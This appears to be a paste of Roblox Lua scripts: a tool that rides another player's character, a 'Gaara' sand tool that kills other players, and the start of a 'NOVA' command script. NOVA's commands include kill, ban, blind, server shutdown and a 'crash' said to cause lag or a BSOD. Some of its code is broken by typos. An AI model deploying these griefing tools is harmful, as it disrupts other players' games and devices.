- if(v:IsA("ForceField"))then
- v:remove()
- end
- rff(v)
- end
- end
- rff(wld.Part0.Parent)
- end
- wld.Part0=mouse.Target.Parent:FindFirstChild("Torso")
- wld.Part1=chr:FindFirstChild("Torso")
- wld.C1=CFrame.new(Vector3.new(0,-0.1,0))
- if(mouse.Target~=nil)then
- function iff(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("Part"))then
- Instance.new("ForceField",v)
- end
- iff(v)
- end
- end
- iff(mouse.Target.Parent)
- Instance.new("ForceField",mouse.Target.Parent)
- end
- coroutine.resume(coroutine.create(function(chr,una)
- una=true
- while(una)and wait() do
- if not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformStand==true)then
- chr:FindFirstChild("Torso").Anchored=true
- break
- else
- chr:FindFirstChild("Torso").Anchored=false
- end
- end
- end),chr,una)
- coroutine.resume(coroutine.create(function(plr,chr)
- while true and wait() do
- if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
- function rff(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("ForceField"))then
- v:remove()
- end
- rff(v)
- end
- end
- rff(plr)
- break
- end
- end
- end),mouse.Target.Parent,chr)
- end
- end
- elseif(mouse.Target.Parent:IsA("Hat"))then
- if(mouse.Target.Parent.Parent:IsA("Model"))then
- if(mouse.Target.Parent.Parent:FindFirstChild("Humanoid"))then
- if(mouse.Target.Parent.Parent.Humanoid.Health~=0)then
- inv=function(pth)
- for _,v in pairs(pth:GetChildren())do
- if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("SkateboardPlatform"))then
- v.Transparency=1
- end
- inv(v)
- end
- end
- inv(chr)
- chr:FindFirstChild("Humanoid").PlatformStand=true
- chr:FindFirstChild("Head").CanCollide=false
- chr:FindFirstChild("Torso").CanCollide=false
- chr:FindFirstChild("Torso").CFrame=CFrame.new(mouse.Target.Parent.Parent:FindFirstChild("Torso").CFrame.p+Vector3.new(0,8,0))
- chr:FindFirstChild("Head").CanCollide=true
- chr:FindFirstChild("Torso").CanCollide=true
- if not(chr:FindFirstChild("iMergeWeld"))then
- wld=Instance.new("Weld",chr)
- wld.Name="iMergeWeld"
- else
- wld=chr:FindFirstChild("iMergeWeld")
- function rff(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("ForceField"))then
- v:remove()
- end
- rff(v)
- end
- end
- rff(wld.Part0.Parent)
- end
- wld.Part0=mouse.Target.Parent.Parent:FindFirstChild("Torso")
- wld.Part1=chr:FindFirstChild("Torso")
- wld.C1=CFrame.new(Vector3.new(0,-0.1,0))
- if(mouse.Target~=nil)then
- function iff(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("Part"))then
- Instance.new("ForceField",v)
- end
- iff(v)
- end
- end
- iff(mouse.Target.Parent.Parent)
- Instance.new("ForceField",mouse.Target.Parent.Parent)
- end
- coroutine.resume(coroutine.create(function(chr,una)
- una=true
- while(una)and wait() do
- if not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformStand==true)then
- chr:FindFirstChild("Torso").Anchored=true
- break
- else
- chr:FindFirstChild("Torso").Anchored=false
- end
- end
- end),chr,una)
- coroutine.resume(coroutine.create(function(plr,chr)
- while true and wait() do
- if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
- function rff(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("ForceField"))then
- v:remove()
- end
- rff(v)
- end
- end
- rff(plr)
- break
- end
- end
- end),mouse.Target.Parent.Parent,chr)
- end
- end
- end
- end
- end
- end)
- function onKeyDown(chr,una)
- key_down=mouse.KeyDown:connect(function(key) key=string.lower(key)
- app=function(tra)
- if(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("iMergeWeld").Part0~=nil)then
- rmt=chr:FindFirstChild("iMergeWeld").Part0.Parent
- else
- rmt=nil
- end
- if(rmt~=nil)then
- function rff(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("ForceField"))then
- v:remove()
- end
- rff(v)
- end
- end
- rff(rmt)
- end
- function cff(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("ForceField"))then
- v:remove()
- end
- cff(v)
- end
- end
- cff(chr)
- una=false
- if(chr:FindFirstChild("iMergeWeld"))or(chr:FindFirstChild("Humanoid").PlatformStand==true)then
- pcall(function(chr) chr:FindFirstChild("iMergeWeld"):remove() end,chr)
- chr:FindFirstChild("Torso").CFrame=CFrame.new(chr:FindFirstChild("Torso").CFrame.p+Vector3.new(0,8,0))
- end
- vis=function(pth)
- for _,v in pairs(pth:GetChildren())do
- if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("SkateboardPlatform"))then
- v.Transparency=tra
- end
- vis(v)
- end
- end
- vis(chr)
- chr:FindFirstChild("Humanoid").PlatformStand=false
- chr:FindFirstChild("Torso").Anchored=false
- key_down:disconnect()
- onKeyDown(chr,una)
- end
- if(key=="e")then
- app(1)
- elseif(key=="r")then
- app(0)
- end
- end)
- end
- onKeyDown(chr,una)
- end)
- bin.Deselected:connect(function()
- if(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("iMergeWeld").Part0~=nil)then
- rmt=chr:FindFirstChild("iMergeWeld").Part0.Parent
- else
- rmt=nil
- end
- coroutine.resume(coroutine.create(function(chr,una)
- una=true
- while(una)and wait() do
- if not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformStand==true)then
- chr:FindFirstChild("Torso").Anchored=true
- break
- else
- chr:FindFirstChild("Torso").Anchored=false
- end
- end
- end),chr,una)
- coroutine.resume(coroutine.create(function(plr,chr)
- while true and wait() do
- if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
- function rff(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("ForceField"))then
- v:remove()
- end
- rff(v)
- end
- end
- rff(plr)
- break
- end
- end
- end),rmt,chr)
- end)]]
- GaaraSource=[[
- local Name=game.Players.LocalPlayer.Name
- local workspace=Workspace
- local player=game.Players[Name]
- local char=player.Character
- local Color=BrickColor.new("Pastel brown")
- if script.Parent.className~="HopperBin" then
- pcall(function() char.Gourd:remove() end)
- Staff=Instance.new("HopperBin")
- Staff.Name="Sand"
- Staff.Parent=player.Backpack
- m=Instance.new("Model")
- m.Parent=char
- m.Name="Gourd"
- p=Instance.new("Part")
- p.Locked=true
- p.BrickColor=BrickColor:Red()
- p.Material="Concrete"
- p.Size=Vector3.new(1,1,1)
- Cent=p
- me=Instance.new("CylinderMesh")
- me.Scale=Vector3.new(1.2,0.4,1.2)
- me.Parent=p
- p.Parent=m
- w=Instance.new("Weld")
- w.Part1=char.Torso
- w.Part0=p
- w.Parent=p
- w.C0=CFrame.new(0,0.25,-1)*CFrame.Angles(0,0,math.rad(35))
- p=Instance.new("Part")
- p.Locked=true
- p.BrickColor=Color
- p.Material="Concrete"
- p.Size=Vector3.new(2,2,2)
- p.Shape="Ball"
- p.Parent=m
- w=Instance.new("Weld")
- w.Part1=Cent
- w.Part0=p
- w.Parent=p
- w.C0=CFrame.new(0,1,0)
- p=Instance.new("Part")
- p.Locked=true
- p.BrickColor=Color
- p.Material="Concrete"
- p.Size=Vector3.new(2,2,2)
- p.Shape="Ball"
- p.Parent=m
- w=Instance.new("Weld")
- w.Part1=Cent
- w.Part0=p
- w.Parent=p
- w.C0=CFrame.new(0,-1,0)
- Top=p
- p=Instance.new("Part")
- p.Locked=true
- p.BrickColor=Color
- p.Material="Concrete"
- p.Size=Vector3.new(1,1,1)
- p.Parent=m
- me=Instance.new("CylinderMesh")
- me.Scale=Vector3.new(0.5,0.15,0.5)
- me.Parent=p
- w=Instance.new("Weld")
- w.Part1=Top
- w.Part0=p
- w.Parent=p
- w.C0=CFrame.new(0,-1,0)
- p=Instance.new("Part")
- p.Locked=true
- p.BrickColor=BrickColor.new("Black")
- p.Material="Concrete"
- p.Size=Vector3.new(1,1,1)
- p.Parent=m
- me=Instance.new("CylinderMesh")
- me.Scale=Vector3.new(0.4,0.16,0.4)
- me.Parent=p
- w=Instance.new("Weld")
- w.Part1=Top
- w.Part0=p
- w.Parent=p
- w.C0=CFrame.new(0,-1,0)
- p=Instance.new("Part")
- p.Locked=true
- p.BrickColor=BrickColor:Red()
- p.Material="Concrete"
- p.Size=Vector3.new(2,1,1)
- p.Parent=m
- me=Instance.new("BlockMesh")
- me.Scale=Vector3.new(1.1,0.15,1.1)
- me.Parent=p
- w=Instance.new("Weld")
- w.Part1=char.Torso
- w.Part0=p
- w.Parent=p
- w.C0=CFrame.new(0,.75,0)
- p=Instance.new("Part")
- p.Locked=true
- p.BrickColor=BrickColor:Red()
- p.Material="Concrete"
- p.Size=Vector3.new(2,1,1)
- p.Parent=m
- me=Instance.new("BlockMesh")
- me.Scale=Vector3.new(1.29,0.15,1.1)
- me.Parent=p
- w=Instance.new("Weld")
- w.Part1=char.Torso
- w.Part0=p
- w.Parent=p
- w.C1=CFrame.new(0,0.1,0)*CFrame.Angles(0,0,math.rad(-40))
- script.Name="Not A QuickScript"
- script.Parent=Staff
- end
- Sword=script.Parent
- function hint(msg,de)
- for _,v in pairs(player:children()) do
- if v:IsA("Message") then
- v:remove()
- end
- end
- local h=Instance.new("Hint")
- h.Text=tostring(msg)
- h.Parent=player
- Delay(tonumber(de),function() h:remove() end)
- end
- ta={}
- for _,v in pairs(player.Backpack:GetChildren()) do
- if v.Name=="Sand" then
- table.insert(ta,v)
- end
- end
- if #ta==2 or #ta>2 then
- ta[1]:remove()
- end
- Hopper=script.Parent
- function Stream(mouse)
- local b=Instance.new("Part")
- b.BrickColor=Color
- b.Reflectance=0
- b.Transparency=1
- b.Size=Vector3.new(2,2,2)
- b.Shape="Ball"
- b.CanCollide=false
- b.TopSurface="Smooth"
- b.Position=char.Head.Position
- b.BottomSurface="Smooth"
- b.Friction=0
- b.Touched:connect(function(h) Hit(h) end)
- local bo=Instance.new("BodyVelocity")
- bo.maxForce=Vector3.new(9999,9999,9999)
- bo.velocity=(mouse.Hit.p-char.Head.Position).unit*60
- bo.Parent=b
- b.Parent=Gourd
- local Bo=b
- while Bo.Parent and Up==false do
- wait()
- if mouse.Target and (Bo.Position-mouse.Target.Position).magnitude<7 then
- Hit(mouse.Target)
- else
- Bo.CFrame=b.CFrame --BodyPosition anti-hax
- bo.velocity=(mouse.Hit.p-Bo.Position).unit*150
- end
- local b=Instance.new("Part")
- b.BrickColor=Color
- b.Reflectance=0
- b.Transparency=0.2
- b.Touched:connect(Hit)
- b.Size=Vector3.new(2,2,2)
- b.CanCollide=false
- b.Anchored=true
- b.TopSurface="Smooth"
- b.Parent=Gourd
- b.CFrame=Bo.CFrame*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
- b.BottomSurface="Smooth"
- Delay(0,function()
- local p=b
- for i=1,5 do
- wait(0.05)
- p.Transparency=i/5
- end
- p:remove()
- end)
- end
- pcall(function() Bo:remove() end)
- end
- function Def(mouse)
- local b=Instance.new("Part")
- b.BrickColor=Color
- b.Reflectance=0
- b.Transparency=0.6
- b.Size=Vector3.new(15,15,15)
- b.Anchored=false
- b.Shape="Ball"
- b.CanCollide=false
- p=Instance.new("BodyPosition")
- p.Parent=b
- p.maxForce=Vector3.new(math.huge,math.huge,math.huge)
- p.position=char.Torso.Position
- b.TopSurface="Smooth"
- b.Position=char.Torso.Position
- b.BottomSurface="Smooth"
- b.Touched:connect(function(h)
- Hit(h)
- end)
- b.Parent=Gourd
- while Up==false and b.Parent do
- b.CFrame=char.Torso.CFrame
- p.position=char.Torso.Position
- local p=Instance.new("Part")
- p.Size=Vector3.new(1,1,1)
- p.BrickColor=Color
- p.Anchored=true
- p.CanCollide=false
- p.Parent=Gourd
- p.CFrame=char.Torso.CFrame*CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))*CFrame.Angles(math.random(-360,360),math.random(-360,360),math.random(-360,360))
- local m=Instance.new("BlockMesh")
- m.Scale=Vector3.new(0.5,0.5,0.5)
- m.Parent=p
- Delay(0,function()
- local p=p
- for i=1,5 do
- wait(0.05)
- p.Transparency=i/5
- end
- p:remove()
- end)
- wait()
- end
- pcall(function() b:remove() end)
- end
- function Bur(mouse)
- if mouse.Target and game.Players:getPlayerFromCharacter(mouse.Target.Parent) then
- local m=mouse.Target.Parent
- m.Torso.Anchored=true
- for i=1,15 do
- local p=Instance.new("Part")
- p.Size=Vector3.new(i,1,i)
- p.BrickColor=Color
- p.Anchored=true
- p.Transparency=i/14
- p.CanCollide=false
- p.Parent=m
- local me=Instance.new("CylinderMesh")
- me.Scale=Vector3.new(1,1.1,1)
- me.Parent=p
- p.CFrame=CFrame.new(m.Torso.CFrame.x,m.Torso.CFrame.y-3.5,m.Torso.CFrame.z)
- end
- for i=1,10 do
- for i=1,6 do
- wait()
- local p=Instance.new("Part")
- p.Size=Vector3.new(1,1,1)
- p.BrickColor=Color
- p.Anchored=true
- p.CanCollide=false
- p.Parent=m
- p.CFrame=m.Torso.CFrame*CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))*CFrame.Angles(math.random(-360,360),math.random(-360,360),math.random(-360,360))
- local m=Instance.new("BlockMesh")
- m.Scale=Vector3.new(0.25,0.25,0.25)
- m.Parent=p
- Delay(0,function()
- local p=p
- for i=1,5 do
- wait(0.05)
- p.Transparency=i/5
- end
- p:remove()
- end)
- end
- m.Torso.CFrame=CFrame.new(m.Torso.Position)*CFrame.new(0,-0.5,0)
- wait()
- end
- Hit(m.Torso)
- Hit(m.Head)
- end
- end
- function Shift(mouse)
- if mouse.Target then
- local mo=Instance.new("Model",char)
- local h=mouse.Hit.p
- local m=char
- for i=1,15 do
- local p=Instance.new("Part")
- p.Size=Vector3.new(i,1,i)
- p.BrickColor=Color
- p.Anchored=true
- p.Transparency=i/14
- p.CanCollide=false
- p.Parent=mo
- local me=Instance.new("CylinderMesh")
- me.Scale=Vector3.new(1,1.1,1)
- me.Parent=p
- p.CFrame=CFrame.new(m.Torso.CFrame.x,m.Torso.CFrame.y-3.5,m.Torso.CFrame.z)
- end
- for i=1,15 do
- local p=Instance.new("Part")
- p.Size=Vector3.new(i,1,i)
- p.BrickColor=Color
- p.Anchored=true
- p.Transparency=i/14
- p.CanCollide=false
- p.Parent=mo
- local me=Instance.new("CylinderMesh")
- me.Scale=Vector3.new(1,1.1,1)
- me.Parent=p
- p.CFrame=CFrame.new(h)*CFrame.new(0,-0.5,0)
- end
- m.Torso.Anchored=true
- for i=1,15 do
- for i=1,6 do
- wait()
- local p=Instance.new("Part")
- p.Size=Vector3.new(1,1,1)
- p.BrickColor=Color
- p.Anchored=true
- p.CanCollide=false
- p.Parent=mo
- p.CFrame=m.Torso.CFrame*CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))*CFrame.Angles(math.random(-360,360),math.random(-360,360),math.random(-360,360))
- local m=Instance.new("BlockMesh")
- m.Scale=Vector3.new(0.25,0.25,0.25)
- m.Parent=p
- Delay(0,function()
- local p=p
- for i=1,5 do
- wait(0.05)
- p.Transparency=i/5
- end
- p:remove()
- end)
- end
- m.Torso.CFrame=m.Torso.CFrame*CFrame.new(0,-0.6,0)
- wait()
- end
- m.Torso.CFrame=CFrame.new(h)*CFrame.new(0,-1.5,0)
- for i=1,11 do
- for i=1,6 do
- wait()
- local p=Instance.new("Part")
- p.Size=Vector3.new(1,1,1)
- p.BrickColor=Color
- p.Anchored=true
- p.CanCollide=false
- p.Parent=mo
- p.CFrame=m.Torso.CFrame*CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))*CFrame.Angles(math.random(-360,360),math.random(-360,360),math.random(-360,360))
- local m=Instance.new("BlockMesh")
- m.Scale=Vector3.new(0.25,0.25,0.25)
- m.Parent=p
- Delay(0,function()
- local p=p
- for i=1,5 do
- wait(0.05)
- p.Transparency=i/5
- end
- p:remove()
- end)
- end
- m.Torso.CFrame=m.Torso.CFrame*CFrame.new(0,0.5,0)
- wait()
- end
- m.Torso.Anchored=false
- mo:remove()
- end
- end
- function Wave(mouse)
- if mouse.Hit.p.x>char.Torso.Position.x then
- Deg=-2
- Fre=-60
- else
- Deg=2
- Fre=60
- end
- local X=char.Torso.CFrame.x
- for i=0,Fre,Deg do
- wait()
- local p=Instance.new("Part")
- p.Parent=Gourd
- p.Size=Vector3.new(2,1,workspace.Base.Size.z)
- p.BrickColor=Color
- p.Anchored=true
- p.CFrame=CFrame.new(X,0,workspace.Base.Position.z)*CFrame.new(-i,0,0)
- local m=Instance.new("BlockMesh")
- m.Parent=p
- m.Scale=Vector3.new(1,1.2,1.005)
- Delay(0,function()
- local p=p
- local m=m
- for i=1,9,0.25 do
- m.Scale=m.Scale+Vector3.new(0,.25,0)
- wait()
- end
- wait()
- for i=1,9,0.25 do
- m.Scale=m.Scale+Vector3.new(0,-.25,0)
- wait()
- end
- p:remove()
- end)
- for _,v in pairs(game.Players:GetPlayers()) do
- if v.Character and v.Character:findFirstChild("Head") then
- if v.Character.Head.Position.y<(workspace.Base.Position.y+9.5) then
- if v.Character.Torso.Position.x<p.Position.x+p.Size.x/2 and v.Character.Torso.Position.x>p.Position.x-p.Size.x/2 then
- Hit(v.Character.Head)
- end
- end
- end
- end
- end
- end
- function Spike(mouse)
- local Pos=char.Torso.Position
- for ii=8,25,3 do
- wait()
- for i=0,360,360/12 do
- local x = (ii) * math.sin(i) + Pos.x
- local y = Pos.y-4
- local z = (ii)* math.cos (i) + Pos.z
- local brick = Instance.new("Part")
- brick.Size=Vector3.new(1,1,1)
- brick.Anchored=true
- brick.BrickColor=Color
- brick.Parent=Gourd
- brick.CFrame = CFrame.new(x,y,z)
- brick.Touched:connect(Hit)
- local mesh=Instance.new("CylinderMesh")
- mesh.Parent=brick
- Delay(0,function()
- local p=brick
- local m=mesh
- for i=1,8 do
- m.Scale=m.Scale+Vector3.new(0,.25,0)
- p.CFrame=p.CFrame*CFrame.new(0,0.25,0)
- wait()
- end
- for i=1,10 do
- p.Transparency=i/10
- wait(0.05)
- end
- p:remove()
- end)
- end
- for _,v in pairs(game.Players:GetPlayers()) do
- if v.Character and v.Character:findFirstChild("Torso") and (v.Character.Torso.Position-Pos).magnitude<ii then
- Hit(v.Character.Torso)
- end
- end
- wait(0.08)
- end
- end
- function Coffin(mouse)
- if mouse.Target and game.Players:getPlayerFromCharacter(mouse.Target.Parent) then
- me=mouse.Target.Parent
- Delay(0,function()
- while me:findFirstChild("Torso") do
- wait()
- local p=Instance.new("Part")
- p.Size=Vector3.new(1,1,1)
- p.BrickColor=Color
- p.Anchored=true
- p.CanCollide=false
- p.Parent=me
- p.CFrame=me.Torso.CFrame*CFrame.new(math.random(-8,8),math.random(-2,5),math.random(-8,8))*CFrame.Angles(math.random(-360,360),math.random(-360,360),math.random(-360,360))
- local m=Instance.new("BlockMesh")
- m.Scale=Vector3.new(0.35,0.35,0.35)
- m.Parent=p
- Delay(0,function()
- local p=p
- for i=1,5 do
- wait(0.05)
- p.Transparency=i/5
- end
- p:remove()
- end)
- end
- end)
- BP=Instance.new("BodyPosition")
- BP.maxForce=Vector3.new(math.huge,math.huge,math.huge)
- BP.position=me.Torso.Position+Vector3.new(0,2,0)
- BP.Parent=me.Torso
- b=Instance.new("Part")
- b.Size=Vector3.new(8,1,8)
- b.BottomSurface="Smooth"
- b.TopSurface="Smooth"
- b.BrickColor=Color
- b.CanCollide=false
- m=Instance.new("BlockMesh")
- m.Parent=b
- m.Scale=Vector3.new(1,0.5,1)
- b.Parent=me
- b:BreakJoints()
- w=Instance.new("Weld")
- w.Parent=b
- w.Part0=me.Torso
- w.Part1=b
- w.C0=CFrame.new(0,-3.5,0)
- for i=1,7,0.25 do
- wait(0.075)
- m.Scale=m.Scale+Vector3.new(0,0.25,0)
- w.C0=w.C0*CFrame.new(0,0.25/2,0)
- BP.position=BP.position+Vector3.new(0,.75,0)
- end
- for i=1,2-(0.5/5),0.25/5 do
- m.Scale=m.Scale+Vector3.new(-.25/8,0,-.25/8)
- wait(0.05)
- end
- Hit(me.Head)
- Hit(me.Torso)
- end
- end
- function Cage(mouse)
- if mouse.Target then
- pos=mouse.Hit
- for ii=0,360,360/6 do
- wait()
- for i=0,360/10 do
- local p=Instance.new("Part")
- p.CFrame=pos*CFrame.new(math.cos(i)*8,math.sin(i)*8*3/i,0)*CFrame.Angles(math.rad(360/ii),math.rad(360/ii),0)
- p.Anchored=true
- p.BrickColor=Color
- p.Parent=Gourd
- p.Size=Vector3.new(1,4,4)
- Delay(5,function()
- p:remove()
- end)
- end
- end
- end
- end
- wep={Stream,Def,Bur,Shift,Wave,Spike,Coffin,Cage}
- name={"Sand Stream","Manual Defence","Sand Burial","Sand Shift","Sand Tsunami","Sand Spikes","Sand Coffin","Sand Cage"}
- function CheckAdd()
- if (Mode+1)~=(#wep+1) then
- Mode=Mode+1
- Hopper.Name=name[Mode].."("..Mode..")"
- elseif (Mode+1)==(#wep+1) then
- Mode=1
- Hopper.Name=name[Mode].."("..Mode..")"
- end
- end
- function CheckSub()
- if (Mode-1)==0 or (Mode-1)<0 then
- Mode=#wep
- Hopper.Name=name[Mode].."("..Mode..")"
- elseif (Mode-1)~=0 then
- Mode=Mode-1
- Hopper.Name=name[Mode].."("..Mode..")"
- end
- end
- function KeyDown(key)
- if key=="c" then
- CheckAdd()
- elseif key=="x" then
- Mode=1
- Hopper.Name=name[1].."("..Mode..")"
- elseif key=="z" then
- CheckSub()
- end
- end
- Mode=0
- Up=false
- Sand=true
- Hopper.Selected:connect(function(mouse)
- Sand=true
- Gourd=char.Gourd
- mouse.KeyDown:connect(KeyDown)
- mouse.Button1Down:connect(function()
- Up=false
- coroutine.resume(coroutine.create(function() wep[Mode](mouse) end))
- end)
- mouse.Button1Up:connect(function() Up=true end)
- mouse.Icon = "rbxasset://textures\\GunCursor.png"
- Kill=char.Humanoid.Died:connect(function()
- wait()
- if char:findFirstChild("Head") then
- m=char.Head
- elseif char:findFirstChild("Torso") then
- m=char.Torso
- else
- return
- end
- local p=Instance.new("Part")
- p.Size=Vector3.new(1,1,1)
- p.BrickColor=Color
- p.Anchored=true
- p.Transparency=1
- p.CanCollide=false
- p.Parent=char
- local me=Instance.new("CylinderMesh")
- me.Scale=Vector3.new(1,1.1,1)
- me.Parent=p
- p.CFrame=CFrame.new(m.CFrame.x,workspace.Base.CFrame.y,m.CFrame.z)
- for i=1,100 do
- local me=me
- local p=p
- wait()
- me.Scale=me.Scale+Vector3.new(.5,0,.5)
- p.Transparency=i/200 --100?
- end
- for _,v in pairs(game.Players:GetPlayers()) do
- if v.Character and v.Name~=Name and (v.Character.Torso.Position-p.Position).magnitude<51 then
- pcall(function() Hit(v.Character.Head) end)
- end
- end
- p:remove()
- end)
- while Sand do
- wait(0.05)
- local p=Instance.new("Part")
- p.Size=Vector3.new(1,1,1)
- p.BrickColor=Color
- p.Anchored=true
- p.CanCollide=false
- p.Parent=char
- p.CFrame=char.Torso.CFrame*CFrame.new(math.random(-7,7),math.random(-2,5),math.random(-7,7))*CFrame.Angles(math.random(-360,360),math.random(-360,360),math.random(-360,360))
- p.Touched:connect(Hit)
- local m=Instance.new("BlockMesh")
- m.Scale=Vector3.new(0.15,0.15,0.15)
- m.Parent=p
- Delay(0,function()
- local p=p
- for i=1,5 do
- wait(0.05)
- p.Transparency=i/5
- end
- p:remove()
- end)
- end
- end)
- Hopper.Deselected:connect(function()
- pcall(function()
- Sand=false
- Kill:disconnect()
- end)
- end)
- function Hit(p)
- if p.Parent.Name~=Name and p.Parent.Parent.Name~=Name and p.Name~="Base" and p.Name~="Sand" and p.Parent then
- Delay(0,function()
- p.Anchored=true
- p.Name="Sand"
- p.BrickColor=Color
- for i=1,5 do
- p.Transparency=i/5
- wait(0.1)
- end
- p:remove()
- end)
- end
- end]]
- NovaSource=[[
- Version = "16.0"
- Players = game:GetService("Players")
- LocalPlayer = Players.LocalPlayer
- Camera = workspace.CurrentCamera
- script.Name = "NOVA"
- script.Parent = LocalPlayer
- Banned = {}
- RandomNames = {}
- Indexed = {}
- Jails = {}
- Sounds = {}
- Removed = false
- AntiFall = false
- Commands = {
- {Name = "kill", Desc = "Kills the player.", Args = "<Player>"},
- {Name = "kick", Desc = "Removes the player from the game.", Args = "<Player>"},
- {Name = "ban", Desc = "Removes the player from the game forever.", Args = "<Player>"},
- {Name = "(un) punish", Desc = "ReParents the player's character.", Args = "<Player>"},
- {Name = "nil", Desc = "Sets the player's character to nil.", Args = "<Player>"},
- {Name = "nova", Desc = "Clears the workspace using NOVA Clear.", Args = "No Arguments"},
- {Name = "m", Desc = "Makes a message in workspace with the following string.", Args = "<String>"},
- {Name = "walkspeed", Desc = "Sets the player's speed to the number.", Args = "<Player><number>"},
- {Name = "c", Desc = "Creates a pseudo script in workspace.", Args = "<Source>"},
- {Name = "local", Desc = "Creates a local pseudo in the LocalPlayer's backpack.", Args = "<Source>"},
- {Name = "(un) ff", Desc = "Creates or removes a forcefield from the player.",Args = "<Player>"},
- {Name = "inf", Desc = "Sets the player's health to math.huge.", Args = "<Player>"},
- {Name = "lockh", Desc = "Locks the player's health to the max health.", Args = "<Player>"},
- {Name = "god", Desc = "Kills anyone who touches the player's torso.", Args = "<Player>"},
- {Name = "expl", Desc = "Creates an explosion at the player's torso.", Args = "<Player>"},
- {Name = "teleport", Desc = "Moves a player to another player.", Args = "<Player> <Player>"},
- {Name = "freeze", Desc = "Anchors the player's character.", Args = "<Player>"},
- {Name = "thaw", Desc = "UnAnchors the player's character.", Args = "<Player>"},
- {Name = "(un) blind", Desc = "Blinds the player via GUIs.", Args = "<Player>"},
- {Name = "shutdown", Desc = "Shuts down the server from usage.", Args = "No Arguments"},
- {Name = "info", Desc = "Outputs information about the player.", Args = "<Player>"},
- {Name = "check", Desc = "Outputs information about the server.", Args = "No Arguments"},
- {Name = "(un) admin", Desc = "removes/Inserts the player in the admin list.", Args = "<Player>"},
- {Name = "lighting", Desc = "Edits values in lighting service.", Args = "<fog><end|start|color>"},
- {Name = "rtools", Desc = "Removes the player's tools.", Args = "<Player>"},
- {Name = "nobp", Desc = "Removes the player's backpack.", Args = "<Player>"},
- {Name = "ping", Desc = "Outputs message in random color.", Args = "<<Message>"},
- {Name = "play", Desc = "Plays the sound.", Args = "<Name>"},
- {Name = "stop", Desc = "Stops all sounds.", Args = "<Name>"},
- {Name = "respawn / rs", Desc = "Respawns the player.", Args = "<Player>"},
- {Name = "nuke", Desc = "nukes the player.", Args = "<Player>"},
- {Name = "(un) jail", Desc = "(Un) Jail the player.", Args = "<Player>"},
- {Name = "rhats", Desc = "Removes the player's hats.", Args = "<Player>"},
- {Name = "trans", Desc = "Makes the player invisible.", Args = "<Player>"},
- {Name = "visible", Desc = "Makes the player visible.", Args = "<Player>"},
- {Name = "antilag", Desc = "Removes any message entering the player.", Args = "No Arguments"},
- {Name = "go", Desc = "Removes the player.", Args = "No Arguments"},
- {Name = "nbc/bc/tbc/obc", Desc = "Sets the BuildersClub of the player.", Args = "No Arguments"},
- {Name = "sit", Desc = "Makes the player sit down.", Args = "No Arguments"},
- {Name = "stand", Desc = "Makes the player stand up.", Args = "No Arguments"},
- {Name = "(un) ps", Desc = "Sets the value of PlatformStand inside the player.", Args = "No Arguments"},
- {Name = "control", Desc = "Controls the player.", Args = "No Arguments"},
- {Name = "up", Desc = "Sets the LocalPlayer's character to nil and removes the last one.", Args = "No Arguments"},
- {Name = "crash", Desc = "Much more powerful lag, can give BSOD", Args = "No Arguments"},
- {Name = "unremovable", Desc = "Nills the script and continues with the functions", Args = "No Arguments"},
- {Name = "rename", Desc = "Renames the player humanoid", Args = "No Arguments"},
- {Name = "rlock", Desc = "Roblox lock a player", Args = "No Arguments"}}
- function CreateScript(Source,Parent,Type)
- if Parent == nil then print("Parent is required.") return end
- if Type == "Normal" or Type == 1 then
- elseif Type == "Local" or Type == 2 then
- NS = script:Clone()
- NS.Disabled = true
- NS.Name = "NOVAPseudo"
- S = Instnace.new("StringValue",NS)
- S.Name = "source"
- S.Value = Source
- NS.Parent = Parent
- NS.Disabled = false
- end
- end
- --s
- function Index(part)
- pcall(function()
- if part:IsA("Script") or part:IsA("LocalScript") then
- table.insert(Indexed,part)
- end
- end)
- end
- workspace.DescendantAdded:connect(Index)
- game:GetService("Players").DescendantAdded:connect(Index)
- game:GetService("Lighting").DescendantAdded:connect(Index)
- game:GetService("Debris").DescendantAdded:connect(Index)
- game:GetService("ScriptContext").DescendantAdded:connect(Index)
- function ClearChildren(Part)
- for _,v in pairs(part:GetChildren()) do
- v:Remove()
- end
- end
- function makeSound(asd,Tab)
- S = Instance.new("Sound")
- S.SoundId = "http://www.roblox.com/asset/?id="..Tab.SoundId
- S.Pitch = Tab.Pitch
- S.Volume = Tab.Volume
- S.Looped = Tab.Looped
- S.Name = Tab.Name
- table.insert(Sounds,S)
- end
- function PlaySound(Name)
- for _,v in pairs(Sounds) do
- if string.sub(v.Name:lower(),1,#Name) == Name then
- v.Parent = workspace
- wait(0.5)
- v:Play()
- end
- end
- end
- function StopSounds()
- for _,v in pairs(Sounds) do
- v:Stop()
- end
- end
- makeSound('Musics',{SoundId=27697713;Pitch=3;Volume=1;Looped=true;Name='Music for a Film - Daniel Bautista'})
- makeSound('Musics',{SoundId=27697743;Pitch=3;Volume=1;Looped=true;Name='Zero Project - Gothic'})
